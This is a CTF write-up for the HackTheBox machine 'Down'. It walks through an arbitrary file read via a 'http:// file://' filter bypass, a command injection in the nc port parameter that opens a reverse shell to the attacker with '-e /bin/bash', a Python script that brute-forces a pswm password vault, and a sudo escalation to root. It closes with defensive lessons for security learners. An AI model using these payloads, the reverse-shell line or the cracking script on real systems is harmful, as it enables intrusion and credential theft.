Down - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Down is an easy-rated Linux machine featuring a web application that checks server uptime. The initial foothold is gained by exploiting an arbitrary file read vulnerability using protocol filtering bypass techniques to extract PHP source code, revealing a remote code execution path via unsanitized nc command injection. Post-exploitation involves cracking an encrypted password manager file using a brute-force attack to compromise the aleks user, whose sudo privileges lead to immediate root access.

TL;DR: Arbitrary file read via protocol bypass → RCE via nc command injection → Decrypt pswm vault with brute-force → SSH as aleks → sudo su to root.

Reconnaissance

Port Scanning

# Initial all-port scan
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.234.87 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration
nmap -p$ports -sC -sV 10.129.234.87

Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp    open  http     Apache httpd 2.4.52 (Ubuntu)

Service Enumeration

The web server on port 80 hosts an application titled “Is it down or just me?” which contains an input field allowing users to check if servers are online. The application uses curl/7.81.0 as its user agent, indicating backend HTTP requests are made via cURL.

Vulnerability Assessment

• Arbitrary File Read: The backend cURL implementation lacks proper protocol filtering validation
• Remote Code Execution: Unsanitized nc command arguments in expert mode functionality
• Weak Encryption: Pswm password manager uses predictable master passwords

Initial Foothold

Exploitation Path

Step 1: Arbitrary File Read via Protocol Bypass

The web application sanitizes input by checking for HTTP/HTTPS protocols. However, whitespace-based bypass using URL-encoded space (+) allows protocol chaining:

# Test connectivity with attacker listener
nc -lnvp 80
# Application makes request with standard HTTP headers

Craft a malicious URL combining http:// with file:// protocol:

http:// file:///etc/passwd

This bypasses the protocol whitelist and retrieves /etc/passwd. Use the same technique to extract the PHP source code:

http:// file:///var/www/html/index.php

The source code reveals a hidden expertmode GET parameter that unlocks port checking functionality:

if ($_GET['expertmode'] === 'tcp') {
    // Port checking functionality
    // Values passed to nc command are unsanitized
}

Step 2: Remote Code Execution via Command Injection

The expert mode uses the nc (netcat) command with user-supplied IP and port parameters. The application does sanitize IP addresses but fails to sanitize the port parameter. Inject the -e flag to execute shell commands:

# Set up listener on attacker machine
nc -lnvp 1337

# Construct malicious URL with port injection
# GET parameter: port=1337 -e /bin/bash

# Visit the application with:
# ?expertmode=tcp&ip=<attacker_ip>&port=1337 -e /bin/bash

This executes:

nc <attacker_ip> 1337 -e /bin/bash

Reverse shell achieved as www-data user:

# Verify shell access
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Upgrade shell using Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Set terminal for proper interaction
export TERM=xterm

Step 3: Retrieve User Flag

cat /var/www/html/user_aeT1xa.txt

Privilege Escalation

Step 1: Discover Encrypted Password Manager

Enumerate the filesystem and locate the aleks user’s home directory:

ls -la /home/aleks/.local/share/pswm/
# pswm file contains encrypted credentials
cat /home/aleks/.local/share/pswm/pswm
# e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

Step 2: Brute-Force Master Password

The pswm password manager uses Python’s cryptocode module for encryption/decryption. Create a brute-force script to crack the master password:

import cryptocode
import os

def encrypted_file_to_lines(file_name, master_password):
    """Attempt to decrypt pswm file with given master password"""
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, 'r') as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()

    print(f"[+] Master password found: {master_password}")
    print(f"[+] Decrypted content:\n{decrypted_lines}")

    return decrypted_lines

# Load password wordlist (xato-net top 1000)
words = open("/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000.txt", 'r', errors="ignore").readlines()

# Brute-force master password
for word in words:
    result = encrypted_file_to_lines('pswm', word.strip())
    if result:
        break

Expected output:

Master password found: flower
Decrypted content:
['pswm\taleks\tflower', 'aleks@down\taleks\t1uY3w22uc-Wr{xNHR~+E']

Step 3: SSH as Aleks User

Use the recovered password to establish SSH session:

sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.129.234.87

Step 4: Sudo Privilege Escalation

Check sudo privileges:

sudo -l
# [sudo] password for aleks:
# User aleks may run the following commands on down:
#     (ALL : ALL) ALL

Escalate to root:

sudo su
# Enter aleks password when prompted

# Verify root access
id
# uid=0(root) gid=0(root) groups=0(root)

Step 5: Retrieve Root Flag

cat /root/root.txt

Attack Chain Summary

Protocol Bypass (http:// + file://)
  ↓
Arbitrary File Read (/var/www/html/index.php)
  ↓
Source Code Review (expertmode parameter discovered)
  ↓
Command Injection (nc -e /bin/bash)
  ↓
RCE as www-data
  ↓
Enumerate /home/aleks/.local/share/pswm/pswm
  ↓
Brute-Force Master Password (cryptocode)
  ↓
Decrypt Credentials (aleks:1uY3w22uc-Wr{xNHR~+E)
  ↓
SSH as aleks
  ↓
Sudo Privilege Escalation
  ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• Protocol filtering bypass using whitespace/special characters in URLs
• Arbitrary file read exploitation for source code disclosure
• Command injection through unsanitized parameters in system calls
• Password manager enumeration and encryption cracking
• Python-based brute-force scripting with external libraries
• SSH authentication and privilege escalation via sudo

Lessons Learned

1. Input Validation is Critical: Protocol whitelisting must account for encoding tricks and protocol chaining; never trust user-supplied parameters passed to system commands without rigorous sanitization.

2. Source Code Exposure: Arbitrary file read vulnerabilities can immediately lead to RCE when combined with source code analysis; always ensure web roots are not readable.

3. Password Manager Security: Encrypted files should use strong, random master passwords resistant to dictionary attacks; consider rate-limiting and salting mechanisms.

4. Sudo Misuse: Granting (ALL : ALL) ALL sudo privileges without restrictions is equivalent to root access; implement principle of least privilege.

5. Defense in Depth: A single vulnerability (arbitrary file read) should not directly enable RCE; layered input validation provides better protection.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>